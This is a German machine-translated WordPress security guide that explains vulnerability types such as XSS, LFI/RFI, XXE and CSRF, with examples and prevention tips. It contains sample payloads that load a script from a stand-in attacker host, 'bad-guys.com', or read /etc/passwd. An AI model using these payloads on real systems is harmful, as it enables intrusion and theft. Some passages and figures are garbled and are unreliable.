WordPress-Schwachstellen erklärt

Leider existieren WordPress-Schwachstellen. WordPress-Schwachstellen können in Ihren Plugins, Ihren Themes und sogar in WordPress-Kern vorhanden sein. Und da WordPress mittlerweile fast 40% aller Websites betreibt, ist es noch wichtiger, Schwachstellen zu verstehen. Einfach gesagt: Sie müssen auf die Sicherheit Ihrer Website achten.

Wenn Sie kein WordPress-Sicherheitsexperte sind, kann es entmutigend sein, all die verschiedenen WordPress-Schwachstellen zu verstehen. Es kann auch überwältigend sein, zu versuchen, die verschiedenen Schweregrade einer Sicherheitsanfälligkeit zusammen mit den Risiken der WordPress-Sicherheitslücke zu verstehen.

In diesem Leitfaden werden die 21 häufigsten WordPress-Schwachstellen definiert, beschrieben, wie der Schweregrad einer WordPress-Schwachstelle bewertet wird, Beispiele dafür, wie ein Hacker die Schwachstelle ausnutzen kann, und zeigen, wie diese Schwachstellen verhindert werden können. Tauchen wir ein.

Was ist eine WordPress-Sicherheitslücke?

Eine WordPress-Sicherheitslücke ist eine Schwachstelle oder ein Fehler in einem Theme, Plugin oder WordPress-Kern, die von einem Hacker ausgenutzt werden kann. Mit anderen Worten, WordPress-Schwachstellen schaffen einen Einstiegspunkt, über den ein Hacker bösartige Aktivitäten ausführen kann.

Denken Sie daran, dass das Hacken von Websites fast vollständig automatisiert ist. Aus diesem Grund können Hacker in kürzester Zeit problemlos in eine große Anzahl von Websites einbrechen. Hacker verwenden spezielle Tools, die das Internet scannen und nach bekannten Schwachstellen suchen.

Hacker mögen einfache Ziele, und eine Website zu haben, auf der Software mit bekannten Schwachstellen ausgeführt wird, ist, als würde man einem Hacker Schritt für Schritt Anweisungen geben, um in Ihre WordPress-Website, Ihren Server, Ihren Computer oder jedes andere mit dem Internet verbundene Gerät einzudringen.

Unsere monatlichen WordPress-Sicherheitslückenberichte decken alle öffentlich offengelegten WordPress-Kern-, WordPress-Plugin- und Theme-Sicherheitslücken ab. In diesen Zusammenfassungen teilen wir den Namen des anfälligen Plugins oder Themes, die betroffenen Versionen und den Schwachstellentyp.

Was ist Zero-Day-Sicherheitslücke?

Wenn es um WordPress-Schwachstellen geht, ist es wichtig, die Definition einer Zero-Day-Schwachstelle zu verstehen. Da die Sicherheitsanfälligkeit öffentlich bekannt wurde, hat der Entwickler null Tage Zeit, um die Sicherheitsanfälligkeit zu beheben. Und dies kann große Auswirkungen auf Ihre Plugins und Themes haben.

Normalerweise entdeckt ein Sicherheitsforscher eine Schwachstelle und legt die Schwachstelle privat den Entwicklern des Unternehmens offen, die die Software besitzen. Der Sicherheitsforscher und der Entwickler sind sich einig, dass die vollständigen Details veröffentlicht werden, sobald ein Patch verfügbar ist. Nach der Veröffentlichung des Patches kann es zu einer leichten Verzögerung bei der Offenlegung der Sicherheitsanfälligkeit kommen, damit mehr Personen Zeit für die Aktualisierung wichtiger Sicherheitslücken haben.

Wenn ein Entwickler jedoch nicht auf den Sicherheitsforscher reagiert oder keinen Patch für die Sicherheitsanfälligkeit bereitstellt, kann der Forscher die Sicherheitsanfälligkeit öffentlich offenlegen, um Druck auf den Entwickler auszuüben, einen Patch herauszugeben.

Die öffentliche Offenlegung einer Schwachstelle und die scheinbare Einführung eines Zero-Days können kontraproduktiv erscheinen. Dies ist jedoch der einzige Hebel, mit dem ein Forscher den Entwickler unter Druck setzen kann, die Schwachstelle zu schließen.

Googles Project Zero hat ähnliche Richtlinien, wenn es um die Offenlegung von Sicherheitslücken geht. Sie veröffentlichen die vollständigen Details der Schwachstelle nach 90 Tagen. Ob die Schwachstelle gepatcht wurde oder nicht.

Die Schwachstelle ist für jedermann zu finden. Wenn ein Hacker die Schwachstelle findet, bevor der Entwickler einen Patch veröffentlicht, wird dies zu einem schlimmsten Albtraum für Endbenutzer…. Ein aktiv ausgenutzter Zero-Day.

Was ist eine aktiv ausgenutzte Zero-Day-Sicherheitslücke?

Eine aktiv ausgenutzte Zero-Day-Sicherheitslücke ist genau das, wonach sie sich anhört. Es handelt sich um eine ungepatchte Schwachstelle, die Hacker angreifen, angreifen und aktiv ausnutzen.

Ende 2018 nutzten Hacker aktiv eine schwerwiegende WordPress-Sicherheitslücke im WP-DSGVO-Compliance-Plugin aus. Der Exploit ermöglichte es nicht autorisierten Benutzern – mehr dazu im nächsten Abschnitt –, die WP-Benutzerregistrierungseinstellungen zu ändern und die standardmäßige neue Benutzerrolle von einem Abonnenten zu einem Administrator zu ändern.

Diese Hacker haben diese Schwachstelle vor dem WP-DSGVO-Compliance-Plugin und Sicherheitsforschern gefunden. Jede Website, auf der das Plugin installiert war, war also eine einfache und garantierte Markierung für Cyberkriminelle.

So schützen Sie sich vor einer Zero-Day-Sicherheitslücke

Der beste Weg, Ihre Website vor einer Zero-Day-Schwachstelle zu schützen, besteht darin, die Software zu deaktivieren und zu entfernen, bis die Schwachstelle gepatcht ist. Glücklicherweise handelten die Entwickler des WP-DSGVO-Compliance-Plugins schnell und veröffentlichten am Tag nach der Veröffentlichung einen Patch für die Schwachstelle.

Ungepatchte Schwachstellen machen Ihre Website zu einem leichten Ziel für Hacker.

Nicht authentifizierte vs. authentifizierte WordPress-Sicherheitslücken

Es gibt zwei weitere Begriffe, mit denen Sie vertraut sein müssen, wenn Sie über WordPress-Schwachstellen sprechen.

1. Nicht authentifiziert – Eine nicht authentifizierte WordPress-Sicherheitslücke bedeutet, dass jeder die Sicherheitsanfälligkeit ausnutzen kann.
2. Authentifiziert – Eine authentifizierte WordPress-Sicherheitslücke bedeutet, dass ein angemeldeter Benutzer zum Ausnutzen erforderlich ist.

Eine Schwachstelle, die einen authentifizierten Benutzer erfordert, ist für einen Hacker viel schwieriger auszunutzen, insbesondere wenn sie Berechtigungen auf Administratorebene erfordert. Und wenn ein Hacker bereits einen Satz von Administratoranmeldeinformationen in der Hand hat, muss er wirklich keine Schwachstelle ausnutzen, um Schaden anzurichten.

Es gibt einen Vorbehalt. Einige authentifizierte Sicherheitslücken erfordern nur Fähigkeiten auf Abonnentenebene, um sie auszunutzen. Wenn Ihre Website es jedem erlaubt, sich zu registrieren, gibt es keinen großen Unterschied zu einer nicht authentifizierten Sicherheitslücke.

19 häufige WordPress-Sicherheitslücken erklärt

Wenn es um WordPress-Schwachstellen geht, gibt es 21 gängige Arten von Schwachstellen. Lassen Sie uns jeden dieser WordPress-Schwachstellentypen behandeln.

1. Authentifizierungs-Bypass

Eine Sicherheitsanfälligkeit durch Authentifizierungsbypass ermöglicht es einem Angreifer, Authentifizierungsanforderungen zu überspringen und Aufgaben auszuführen, die normalerweise authentifizierten Benutzern vorbehalten sind.

Authentifizierung ist der Prozess der Überprüfung der Identität eines Benutzers. WordPress verlangt von Benutzern, einen Benutzernamen und ein Passwort einzugeben, um ihre Identität zu überprüfen.

Authentifizierungs-Bypass-Beispiel

Anwendungen überprüfen die Authentifizierung basierend auf einem festen Satz von Parametern. Ein Angreifer könnte diese Parameter ändern, um Zugriff auf Webseiten zu erhalten, die normalerweise eine Authentifizierung erfordern.

Ein sehr einfaches Beispiel für so etwas ist ein Authentifizierungsparameter in der URL.

 https:/my-website/some-plugint?param=authenticated&param=no

Die obige URL hat einen Authentifizierungsparameter mit dem Wert no. Wenn wir diese Seite besuchen, erhalten wir eine Nachricht, die uns mitteilt, dass wir nicht berechtigt sind, die Informationen auf dieser Seite anzuzeigen.

Wenn die Authentifizierungsprüfung jedoch schlecht codiert war, könnte ein Angreifer den Authentifizierungsparameter ändern, um Zugriff auf die private Seite zu erhalten.

 https:/my-website/some-plugint?param=authenticated&param=yes

In diesem Beispiel könnte ein Hacker den Authentifizierungswert in der URL in yes ändern, um die Authentifizierungsanforderung zum Anzeigen der Seite zu umgehen.

So verhindern Sie die Verhinderung der Umgehung der Authentifizierung

Mithilfe der Zwei-Faktor-Authentifizierung können Sie Ihre Website vor Schwachstellen in der gebrochenen Authentifizierung schützen.

2. Sicherheitslücke in der Hintertür

Eine Backdoor- Schwachstelle ermöglicht es sowohl autorisierten als auch nicht autorisierten Benutzern, normale Sicherheitsmaßnahmen zu umgehen und sich auf hoher Ebene Zugriff auf einen Computer, Server, eine Website oder eine Anwendung zu verschaffen.

Backdoor-Beispiel

Ein Entwickler erstellt eine Hintertür, damit er als Administrator schnell zwischen Codierung und Testen des Codes wechseln kann. Leider vergisst der Entwickler, die Hintertür zu entfernen, bevor die Software für die Öffentlichkeit freigegeben wird.

Wenn ein Hacker die Hintertür findet, kann er den Einstiegspunkt ausnutzen, um Administratorzugriff auf die Software zu erhalten. Da der Hacker nun Administratorzugriff hat, kann er alle möglichen bösartigen Dinge tun, wie das Einschleusen von Malware oder das Stehlen sensibler Daten.

So verhindern Sie eine Hintertür

Viele Hintertüren können auf ein Problem reduziert werden, nämlich auf eine Fehlkonfiguration der Sicherheit. Probleme mit der Sicherheitsfehlkonfiguration können gemildert werden, indem alle nicht verwendeten Funktionen aus dem Code entfernt, alle Bibliotheken auf dem neuesten Stand gehalten und Fehlermeldungen allgemeiner gemacht werden.

3. PHP-Objekt-Injection-Schwachstelle

Eine PHP Object-Injection- Schwachstelle tritt auf, wenn ein Benutzer eine Eingabe unserialized() , die nicht unserialized() . h. illegale Zeichen werden nicht entfernt) bevor sie an die PHP-Funktion unserialized() wird.

PHP-Objekt-Injection-Beispiel

Hier ist ein reales Beispiel für eine PHP Object-Injection-Schwachstelle im WordPress-Plugin Sample Ads Manager, die ursprünglich von sumofpwn gemeldet wurde.

Das Problem ist auf zwei unsichere Aufrufe von unserialize() in der sam-ajax-loader.php Datei des Plugins sam-ajax-loader.php . Die Eingabe erfolgt direkt aus der POST-Anfrage, wie im folgenden Code zu sehen ist.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Dieses Problem kann dazu führen, dass ein Angreifer bösartigen Code eingibt und ausführt.

So verhindern Sie die PHP-Objektinjektion

Verwenden unserialize() Funktion unserialize() mit vom Benutzer bereitgestellten Eingaben, sondern verwenden unserialize() stattdessen JSON-Funktionen.

4. Cross-Site-Scripting-Schwachstelle

Eine XSS- oder Cross-Site-Scripting-Sicherheitslücke tritt auf, wenn eine Webanwendung es Benutzern ermöglicht, benutzerdefinierten Code in den URL-Pfad einzufügen. Ein Angreifer kann die Sicherheitsanfälligkeit ausnutzen, um im Webbrowser des Opfers bösartigen Code auszuführen, eine Weiterleitung zu einer bösartigen Website zu erstellen oder eine Benutzersitzung zu kapern.

Es gibt drei Haupttypen von XSS, reflektiert. gespeichert und DOM-basiert

5. Reflektierte Cross-Site-Scripting-Sicherheitslücke

Eine reflektierter XSS oder Reflektierte Cross-Site Scripting tritt auf, wenn ein schädliches Skript in einer Client - Anfrage-Anforderung von Ihnen in einem Browser zu einem Server und zurück reflektiert wird durch den Server und ausgeführt von Ihrem Browser gemacht gesendet.

Reflektiertes Cross-Site-Scripting-Beispiel

Nehmen wir an, yourfavesite.com erfordert, dass Sie sich yourfavesite.com , um einige der Inhalte der Website anzuzeigen. Und nehmen wir an, diese Website kann Benutzereingaben nicht richtig codieren.

Ein Angreifer könnte diese Sicherheitsanfälligkeit ausnutzen, indem er einen schädlichen Link erstellt und diesen in E-Mails und Social-Media-Beiträgen mit Benutzern von yourfavesite.com teilt.

Der Angreifer verwendet ein Tool zur URL-Kürzung, um den bösartigen Link nicht bedrohlich und sehr anklickbar aussehen zu lassen, yourfavesite.com/cool-stuff . Wenn Sie jedoch auf den verkürzten Link klicken, wird der vollständige Link von Ihrem Browser ausgeführt yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

Nach dem Klicken auf den Link, werden Sie zu genommen yourfavesite.com und das schädliche Skript wird wieder in Ihrem Browser reflektiert werden, so dass der Angreifer Session - Cookies und kapern yourfavesite.com Konto.

So verhindern Sie Reflected Cross-Site Scripting

Regel Nr. 5 im OWASP-Spickzettel zur Verhinderung von Cross-Scripting ist die URL-Kodierung vor dem Einfügen nicht vertrauenswürdiger Daten in HTML-URL-Parameterwerte. Diese Regel kann dazu beitragen, das Erstellen einer reflektierten XSS-Sicherheitslücke zu verhindern, wenn nicht vertrauenswürdige Daten zum HTTP-GET-Parameterwert hinzugefügt werden.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Gespeicherte Cross-Site-Scripting-Schwachstelle

Eine Stored XSS- oder Stored Cross-Site Scripting-Schwachstelle ermöglicht es Hackern, bösartigen Code in den Server einer Webanwendung einzuschleusen und auf diesem zu speichern .

Beispiel für gespeichertes Cross-Site-Scripting

Ein Angreifer entdeckt, dass yourfavesite.com Besuchern erlaubt, HTML-Tags in den Kommentarbereich der Site einzubetten. Also erstellt der Angreifer einen neuen Kommentar:

Großartiger Artikel! Sehen Sie sich diesen anderen großartigen <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Hinweis: Bei einer reflektierten XSS- Sicherheitslücke müsste ein Besucher auf den Link des bösartigen Codes klicken, um ihn auszuführen. Ein gespeicherter XSS- Angriff erfordert lediglich den Besuch der Seite, die den Kommentar enthält. Der Schadcode wird bei jedem Seitenaufruf ausgeführt.

Jetzt, da unser Bösewicht den Kommentar hinzugefügt hat, wird jeder zukünftige Besucher dieser Seite seinem bösartigen Skript ausgesetzt. Das Skript wird auf der Website des Bösewichts gehostet und hat die Möglichkeit, Sitzungscookies von Besuchern und yourfavesite.com Konten zu entführen.

So verhindern Sie gespeichertes Cross-Site-Scripting

Regel Nr. 1 auf dem OWASP-Spickzettel zur Verhinderung von Cross-Scripting ist die HTML-Kodierung vor dem Hinzufügen nicht vertrauenswürdiger Daten zu HTML-Elementen.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Codieren der folgenden Zeichen, um zu verhindern , dass in einen Ausführungskontext gewechselt wird, z. B. Skript, Stil oder Ereignishandler. Die Verwendung von Hex-Entitäten wird in der Spezifikation empfohlen.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Dokumentobjektmodellbasierte Cross-Site-Scripting-Schwachstelle

Eine DOM-basierte XSS- oder Document Object Model-Based Cross-Site Scripting-Schwachstelle tritt auf, wenn das clientseitige Skript einer Website vom Benutzer bereitgestellte Daten in das Document Object Model (DOM) schreibt. Die Website liest dann das Benutzerdatum aus dem DOM und gibt es an den Webbrowser des Besuchers aus.

Wenn die vom Benutzer bereitgestellten Daten nicht ordnungsgemäß verarbeitet werden, könnte ein Angreifer schädlichen Code einschleusen, der ausgeführt wird, wenn die Website den Code aus dem DOM liest.

Hinweis: Reflected und Stored XSS sind serverseitige Probleme, während DOM-basiertes XSS ein Client-(Browser-)Problem ist.

Beispiel für dokumentobjektmodellbasiertes Cross-Site-Scripting

Eine gängige Art, einen DOM-XSS-Angriff zu erklären, ist eine benutzerdefinierte Willkommensseite. yourfavesite.com wir an, dass Sie nach dem Erstellen eines Kontos auf yourfavesite.com zu einer Begrüßungsseite weitergeleitet werden, die angepasst ist, um Sie mit dem folgenden Code mit yourfavesite.com Namen willkommen zu heißen. Und der Benutzername wird in die URL kodiert.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Wir hätten also eine URL von yourfavesite.com/account?name=yourname .

Ein Angreifer könnte einen DOM-basierten XSS-Angriff ausführen, indem er die folgende URL an den neuen Benutzer sendet:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Wenn der neue Benutzer auf den Link klickt, sendet sein Browser eine Anfrage für:

 /account?name=<script>alert(document.cookie)</script>

zu bad-guys.com . Die Website antwortet mit der Seite, die den obigen Javascript-Code enthält.

Der Browser des neuen Benutzers erstellt ein DOM-Objekt für die Seite, in dem das document.location Objekt die Zeichenfolge enthält:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

Der ursprüngliche Code auf der Seite erwartet nicht, dass der Standardparameter HTML-Markup enthält und das Markup auf der Seite widerspiegelt. Dann rendert der Browser des neuen Benutzers die Seite und führt das Skript des Angreifers aus:

 alert(document.cookie)

So verhindern Sie DOM-basiertes Cross-Site-Scripting

Regel Nr. 1 auf dem OWASP Dom-basierten Spickzettel zur Verhinderung von Cross-Site-Scripting ist HTML-Escape. Dann JS-Escape, bevor nicht vertrauenswürdige Daten zum HTML-Unterkontext innerhalb des Ausführungskontexts hinzugefügt werden.

Beispiele für gefährliche HTML-Methoden:

Attribute

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Methoden

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Um dynamische HTML-Updates im DOM-Safe durchzuführen, empfiehlt OWASP:

1. HTML-Codierung und dann
2. JavaScript-Codierung aller nicht vertrauenswürdigen Eingaben, wie in diesen Beispielen gezeigt:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Sicherheitslücke durch Cross-Site Request Forgery

Eine CSRF- oder Cross-Site-Request-Forgery-Sicherheitslücke tritt auf, wenn ein Cyberkrimineller einen Benutzer dazu bringt, unbeabsichtigte Aktionen auszuführen. Der Angreifer fälscht die Anfrage des Benutzers an eine Anwendung.

Beispiel für eine Cross-Site Request Forgery

In unserem WordPress Vulnerability Roundup vom Januar 2020 haben wir über die Cross-Site Request Forgery-Schwachstelle berichtet, die im Code Snippets-Plugin gefunden wurde. (Das Plugin wurde in Version 2.14.0 schnell gepatcht)

Der fehlende CRSF-Schutz des Plugins ermöglichte es jedem, eine Anfrage im Namen eines Administrators zu fälschen und ausführbaren Code auf einer anfälligen Site einzuschleusen. Ein Angreifer hätte diese Sicherheitsanfälligkeit ausnutzen können, um Schadcode auszuführen und sogar eine vollständige Site-Übernahme durchzuführen.

So verhindern Sie die Fälschung von Cross-Site-Anfragen

Die meisten Codierungs-Frameworks verfügen über integrierte Abwehrmechanismen für synchronisierte Token zum Schutz vor CSRF, und diese sollten verwendet werden.

Es gibt auch externe Komponenten wie das CSRF Protector Project, die verwendet werden können, um PHP- und Apache CSRF-Schwachstellen zu schützen.

9. Sicherheitslücke durch serverseitige Anforderungsfälschung

Eine SSRF- oder Server-Site-Request-Forger-Schwachstelle ermöglicht es einem Angreifer, eine serverseitige Anwendung dazu zu bringen, HTTP-Anfragen an eine beliebige Domäne seiner Wahl zu senden.

Beispiel für serverseitige Anforderungsfälschung

Eine SSRF-Schwachstelle könnte ausgenutzt werden, um einen Reflected Cross-Site Scripting-Angriff durchzuführen. Ein Angreifer könnte ein bösartiges Skript von bad-guys.com abrufen und es allen Besuchern einer Website bereitstellen.

So verhindern Sie die serverseitige Anforderungsfälschung

Der erste Schritt zur Minderung von SSRF-Schwachstellen besteht darin, Eingaben zu validieren. Wenn Ihr Server beispielsweise auf vom Benutzer bereitgestellte URLs angewiesen ist, um verschiedene Dateien abzurufen, sollten Sie die URL validieren und nur Zielhosts zulassen, denen Sie vertrauen.

Weitere Informationen zur SSRF-Prävention finden Sie im OWASP-Spickzettel.

10. Sicherheitslücke durch Rechteeskalation

Eine Sicherheitsanfälligkeit bezüglich der Rechteausweitung ermöglicht es einem Angreifer, Aufgaben auszuführen, die normalerweise höhere Berechtigungen erfordern.

Beispiel für eine Berechtigungseskalation

In unserem WordPress Vulnerability Roundup vom November 2020 haben wir über eine Sicherheitslücke bei der Eskalation von Berechtigungen im Ultimate Member-Plugin berichtet (Die Sicherheitslücke wurde in Version 2.1.12 gepatcht).

Ein Angreifer könnte einen Array-Parameter für das Benutzer-Meta wp_capabilities der die Rolle eines Benutzers definiert. Während des Registrierungsprozesses wurden die übermittelten Registrierungsdetails an die Funktion update_profile , und alle entsprechenden Metadaten, die übermittelt wurden, unabhängig davon, was übermittelt wurde, wurden für diesen neu registrierten Benutzer aktualisiert.

Die Schwachstelle ermöglichte es einem neuen Benutzer im Wesentlichen, bei der Registrierung einen Administrator anzufordern.

So verhindern Sie die Eskalation von Berechtigungen

iThemes Security Pro kann Ihre Website vor defekter Zugriffskontrolle schützen, indem der Administratorzugriff auf eine Liste vertrauenswürdiger Geräte beschränkt wird.

11. Sicherheitsanfälligkeit bezüglich Remotecodeausführung

Eine RCE- oder Remote Code Execution-Schwachstelle ermöglicht es einem Angreifer, auf einen Computer oder Server zuzugreifen, Änderungen daran vorzunehmen und sogar zu übernehmen.

Beispiel für Remote-Codeausführung

Im Jahr 2018 hat Microsoft eine in Excel gefundene Sicherheitsanfälligkeit bezüglich Remotecodeausführung offengelegt.

Ein Angreifer, der die Sicherheitsanfälligkeit erfolgreich ausnutzt, kann im Kontext des aktuellen Benutzers beliebigen Code ausführen. Wenn der aktuelle Benutzer mit administrativen Benutzerrechten angemeldet ist, könnte ein Angreifer die Kontrolle über das betroffene System übernehmen. Ein Angreifer könnte dann Programme installieren; Daten anzeigen, ändern oder löschen; oder erstellen Sie neue Konten mit vollen Benutzerrechten. Benutzer, deren Konten mit weniger Benutzerrechten auf dem System konfiguriert sind, könnten weniger betroffen sein als Benutzer, die mit administrativen Benutzerrechten arbeiten.

So verhindern Sie die Remotecodeausführung

Der einfachste Weg, eine RCE-Sicherheitslücke zu mindern, besteht darin, Benutzereingaben durch Filtern und Entfernen unerwünschter Zeichen zu validieren.

Unsere Muttergesellschaft Liquid Web hat einen großartigen Artikel über das Verhindern der Remotecodeausführung.

12. Sicherheitslücke beim Einbinden von Dateien

Eine Sicherheitsanfälligkeit bezüglich Dateieinschluss tritt auf, wenn eine Webanwendung dem Benutzer ermöglicht, Eingaben in Dateien zu senden oder Dateien auf den Server hochzuladen.

Es gibt zwei Arten von Sicherheitslücken beim Einschließen von Dateien: Lokal und Remote.

13. Schwachstelle beim Einschließen von lokalen Dateien

Eine LFI- oder Local File Inclusion-Schwachstelle ermöglicht es einem Angreifer, Dateien auf dem Server einer Website zu lesen und manchmal auszuführen.

Beispiel zum Einschließen einer lokalen Datei

yourfavesite.com wir noch einen Blick auf yourfavesite.com , wo Pfade, die an include Anweisungen übergeben werden, nicht ordnungsgemäß bereinigt werden. Sehen wir uns zum Beispiel die folgende URL an.

 yourfavesite.com/module.php?file=example.file

Ein Angreifer kann den URL-Parameter ändern, um auf eine beliebige Datei auf dem Server zuzugreifen.

 yourfavesite.com/module.php?file=etc/passwd

Wenn Sie den Wert der Datei in der URL ändern, kann ein Angreifer den Inhalt der psswd-Datei anzeigen.

So verhindern Sie die Einbeziehung lokaler Dateien

Erstellen Sie eine Liste der zulässigen Dateien, die die Seite enthalten kann, und verwenden Sie dann eine Kennung, um auf die ausgewählte Datei zuzugreifen. Blockieren Sie dann alle Anfragen, die eine ungültige Kennung enthalten.

14. Sicherheitsanfälligkeit bezüglich Remote-Dateieinschluss

Eine RFI- oder Remote File Inclusion-Schwachstelle ermöglicht es einem Angreifer, eine Datei einzubinden, wobei er normalerweise einen in der Zielanwendung implementierten „dynamischen Dateieinschluss“-Mechanismus ausnutzt.

Beispiel für die Einbindung von Remote-Dateien

Das WordPress-Plugin WP mit Spritz wurde im WordPress.org-Repository geschlossen, da es eine RFI-Schwachstelle aufwies.

Unten ist der Quellcode der Schwachstelle:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

Der Code kann ausgenutzt werden, indem der Wert von content.filter.php?url= wird. Zum Beispiel:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Verhinderung des Einschlusses von Remote-Dateien

Erstellen Sie eine Liste der zulässigen Dateien, die die Seite enthalten kann, und verwenden Sie dann eine Kennung, um auf die ausgewählte Datei zuzugreifen. Blockieren Sie dann alle Anfragen, die eine ungültige Kennung enthalten.

15. Directory Traversal-Schwachstelle

Eine Directory Traversal- oder File Traversal-Schwachstelle ermöglicht es einem Angreifer, beliebige Dateien auf dem Server zu lesen, auf dem eine Anwendung ausgeführt wird.

Beispiel für eine Verzeichnisdurchquerung

Die WordPress-Versionen 5.7 – 5.03 waren anfällig für Directory-Traversal-Angriffe, da sie die Benutzereingabedaten nicht ordnungsgemäß überprüfen konnten. Ein Angreifer mit Zugriff auf ein Konto mit mindestens author könnte die Directory-Traversal-Schwachstelle ausnutzen und bösartigen PHP-Code auf dem zugrunde liegenden Server ausführen, was zu einer vollständigen Remote-Übernahme führt.

So verhindern Sie das Durchsuchen von Verzeichnissen

Entwickler können beim Erstellen von Vorlagen oder bei der Verwendung von Sprachdateien Indizes anstelle von tatsächlichen Teilen von Dateinamen verwenden.

16. Sicherheitslücke durch böswillige Weiterleitung

Eine Sicherheitsanfälligkeit durch böswillige Umleitung ermöglicht es einem Angreifer, Code einzuschleusen, um Website-Besucher auf eine andere Website umzuleiten.

Beispiel für eine bösartige Weiterleitung

Nehmen wir an, Sie suchen über die Suchfunktion einer Online-Boutique nach einem blauen Pullover.

Leider kann der Server der Boutique die Benutzereingaben nicht richtig codieren, und ein Angreifer konnte ein bösartiges Umleitungsskript in Ihre Suchanfrage einschleusen.

Wenn Sie also blauen Pullover in das Suchfeld der Boutique eingeben und die Eingabetaste drücken, landen Sie auf der Webseite des Angreifers anstelle der Seite der Boutique mit Pullovern, die der Beschreibung Ihrer Suche entsprechen.

So verhindern Sie böswillige Weiterleitungen

Sie können sich vor böswilligen Weiterleitungen schützen, indem Sie Benutzereingaben bereinigen, URLs validieren und eine Besucherbestätigung für alle Offsite-Weiterleitungen erhalten.

17. XML-Sicherheitslücke in externen Entitäten

Eine XXE- oder XML External Entity-Schwachstelle ermöglicht es einem Angreifer, einen XML-Parser dazu zu bringen, vertrauliche Informationen an eine externe Entität unter seiner Kontrolle weiterzugeben .

Beispiel für eine externe XML-Entität

Ein Angreifer könnte eine XXE-Sicherheitslücke ausnutzen, um Zugriff auf sensible Dateien wie etc/passwd zu erhalten, die Benutzerkontoinformationen speichert.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

So verhindern Sie eine externe XML-Entität

Der beste Weg, um XXE zu verhindern, besteht darin, weniger komplexe Datenformate wie JSON zu verwenden und die Serialisierung sensibler Daten zu vermeiden.

18. Denial-of-Service-Angriff

Ein DoS- oder Denial-of-Service-Angriff ist ein bewusster Versuch, Ihre Website oder Anwendung für Benutzer nicht verfügbar zu machen, indem sie mit Netzwerkverkehr überflutet wird.

Bei einem DDoS- Distributed-Denial-of-Service-Angriff nutzt ein Angreifer mehrere Quellen, um ein Netzwerk mit Datenverkehr zu fluten. Ein Angreifer entführt Gruppen von Malware-infizierten Computern, Routern und IoT-Geräten, um den Verkehrsfluss zu erhöhen.

Beispiel für einen Denial-of-Service-Angriff

Der bisher größte DDoS-Angriff (Distributed Denial-of-Service) wurde im Februar dieses Jahres gegen AWS erhoben. Amazon berichtete, dass AWS Shield, ihr Managed Threat Protection Service, diesen riesigen DDoS-Angriff beobachtet und abgeschwächt hat. Der Angriff dauerte 3 Tage und erreichte einen Spitzenwert von 2,3 Terabyte pro Sekunde.

So verhindern Sie Denial-of-Service-Angriffe

Es gibt zwei Hauptmethoden, um einen DoS-Angriff abzuwehren.

1. Kaufen Sie mehr Hosting, als Sie benötigen. Wenn Sie zusätzliche Ressourcen zur Verfügung haben, können Sie die durch einen DoS-Angriff verursachte erhöhte Nachfrage bewältigen.
2. Verwenden Sie eine Firewall auf Serverebene wie Cloudflare. Eine Firewall kann ungewöhnliche Verkehrsspitzen erkennen und verhindern, dass Ihre Website überlastet wird.

19. Protokollierung von Tastenanschlägen

Keystroke Logging , auch als Keylogging oder Tastaturerfassung bekannt, tritt auf, wenn ein Hacker heimlich die Tastenanschläge von Website-Besuchern überwacht und aufzeichnet.

Beispiel für die Protokollierung von Tastenanschlägen

2017 installierte ein Hacker erfolgreich bösartiges JavaScript auf den Servern des Smartphone-Herstellers OnePlus.

Mit dem bösartigen Code überwachten und protokollierten Angreifer die Tastenanschläge von OnePlus-Kunden, während diese ihre Kreditkartendaten eingeben. Die Hacker protokollierten und sammelten die Tastenanschläge von 40.000 Kunden, bevor OnePlus den Hack entdeckte und patchte.

So verhindern Sie die Protokollierung von Tastenanschlägen

Alles aktualisieren! Normalerweise muss ein Angreifer eine andere vorhandene Sicherheitsanfälligkeit ausnutzen, um einen Keylogger auf einem Computer oder Server einzuschleusen. Wenn Sie alles mit den neuesten Sicherheitspatches auf dem neuesten Stand halten, können Sie Hackern keine einfache Möglichkeit bieten, einen Keylogger auf Ihrer Website oder Ihrem Computer zu installieren.

Bonus: 2 Social Engineering- und Benutzerschwachstellen

Software-Schwachstellen sind das einzige, was Hacker und Cyberkriminelle auszunutzen versuchen. Hacker zielen auch auf Menschen ab und nutzen sie aus. Sehen wir uns einige Möglichkeiten an, wie wir in Schwachstellen umgewandelt werden können.

1. Phishing

